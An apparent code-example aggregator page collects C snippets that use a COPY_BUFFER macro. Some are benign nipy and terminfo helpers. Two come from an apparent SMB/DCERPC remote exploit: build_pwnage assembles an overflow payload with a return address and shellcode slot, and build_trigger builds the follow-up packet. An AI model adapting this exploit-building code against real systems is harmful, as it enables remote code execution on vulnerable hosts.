Esempio n. 1
0
static void build_pwnage()
{
   unsigned int   n = 0;
   unsigned int   packet_size;
   unsigned int   payload_size;
   unsigned char  payload[256];
   unsigned char  *target        = simple_targets[target_selection].name;
   unsigned char  *asmcode       = simple_targets[target_selection].payload;
   unsigned int   asmcode_size   = simple_targets[target_selection].payload_size;
   unsigned int   distance       = simple_targets[target_selection].distance;
   unsigned int   ret            = simple_targets[target_selection].ret;
   int            nopspace;

   printf("[+] Building payload for [%s] [distance=%d ret=0x%08x]\n", target, distance, ret);
   payload_size = sizeof(payload);
   
   if((asmcode_size > sizeof(payload)) || ((distance + 4) > (payload_size - asmcode_size - 1))) {
      printf("[+] Payload size too big\n");
      exit(EXIT_FAILURE);
   }
   memset(payload, 0x41, sizeof(payload));
   memcpy(payload + distance - 4, "BBBB", 4);
   memcpy(payload + distance, &ret, 4);
   //memcpy(payload + distance + 4, asmcode, asmcode_size);
   nopspace = payload_size - asmcode_size - distance - 4 - 1;
   if(nopspace < 0) nopspace = 0;

   printf("[+] Using %d bytes for NOP space\n", nopspace);
   memset(payload + distance + 4, 0x41, nopspace);
   memcpy(payload + distance + 4 + nopspace, asmcode, asmcode_size);


   RESET_BUFFER;
   
   SET_SMBWRITEANDX_DATA_OFFSET(64 + payload_size - 1);
   SET_SMBWRITEANDX_DATA_LEN_LOW(sizeof(DCERPC_HEADER));
   SET_SMB_WRITEANDX_BYTE_COUNT(sizeof(DCERPC_HEADER) + payload_size);

   packet_size = sizeof(SMB_HEADER) + sizeof(SMB_WRITEANDX_HEADER) + payload_size + sizeof(DCERPC_HEADER) - 3;

   SET_NBT_HEADER_LEN(packet_size);
   COPY_BUFFER(n, NBT_HEADER, sizeof(NBT_HEADER));
   n += sizeof(NBT_HEADER) - 1;

   COPY_BUFFER(n, SMB_HEADER, sizeof(SMB_HEADER));
   n += sizeof(SMB_HEADER) - 1;

   COPY_BUFFER(n, SMB_WRITEANDX_HEADER, sizeof(SMB_WRITEANDX_HEADER));
   n += sizeof(SMB_WRITEANDX_HEADER) - 1;

   COPY_BUFFER(n, payload, payload_size);
   n += payload_size - 1;

   COPY_BUFFER(n, DCERPC_HEADER, sizeof(DCERPC_HEADER));
}
Esempio n. 2
0
File: fffpy.c Progetto: FNNDSC/nipy
/* Fetch vector data from an iterator (view or copy) */ 
void _fff_vector_sync_with_PyArrayIter(fff_vector* y, const PyArrayIterObject* it, npy_intp axis) 
{
  if (y->owner) {
    PyArrayObject* ao = (PyArrayObject*) it->ao; 
    COPY_BUFFER(y, PyArray_ITER_DATA(it), PyArray_STRIDE(ao, axis),
		PyArray_TYPE(ao), PyArray_ITEMSIZE(ao));
  }
  else 
    y->data = (double*) PyArray_ITER_DATA(it); 
  
  return; 
}
Esempio n. 3
0
static void build_trigger()
{
   unsigned int n = 0;
   unsigned int packet_size;

   RESET_BUFFER;

   packet_size = sizeof(SMB_HEADER) + sizeof(SMB_WRITEANDX_HEADER) + sizeof(DCERPC_HEADER);

   SET_SMBWRITEANDX_DATA_LEN_LOW(sizeof(DCERPC_HEADER));
   SET_SMB_WRITEANDX_BYTE_COUNT(sizeof(DCERPC_HEADER));
   
   SET_NBT_HEADER_LEN(packet_size);
   COPY_BUFFER(n, NBT_HEADER, sizeof(NBT_HEADER));
   n += sizeof(NBT_HEADER) - 1;

   COPY_BUFFER(n, SMB_HEADER, sizeof(SMB_HEADER));
   n += sizeof(SMB_HEADER) - 1;

   COPY_BUFFER(n, SMB_WRITEANDX_HEADER, sizeof(SMB_WRITEANDX_HEADER));
   n += sizeof(SMB_WRITEANDX_HEADER) - 1;

   COPY_BUFFER(n, DCERPC_HEADER, sizeof(DCERPC_HEADER));
}
Esempio n. 4
0
File: fffpy.c Progetto: FNNDSC/nipy
static fff_vector* _fff_vector_new_from_buffer(const char* data, npy_intp dim, npy_intp stride, int type, int itemsize)
{
  fff_vector* y; 
  size_t sizeof_double = sizeof(double); 

  /* If the input array is double and is aligned, just wrap without copying */
  if ((type == NPY_DOUBLE) && (itemsize==sizeof_double)) {
    y = (fff_vector*)malloc(sizeof(fff_vector)); 
    y->size = (size_t)dim;
    y->stride = (size_t)stride/sizeof_double;
    y->data = (double*)data;
    y->owner = 0; 
  }
  /* Otherwise, output a owner contiguous vector with copied data */
  else {
    y = fff_vector_new((size_t)dim); 
    COPY_BUFFER(y, data, stride, type, itemsize); 
  }

  return y; 
}
Esempio n. 5
0
int _t3_tigetflag(const char *name) {
  /* Copy the name into a new buffer, because tigetflag expects a char *
     not a const char *. */
  COPY_BUFFER(name);
  return tigetflag(name_buffer);
}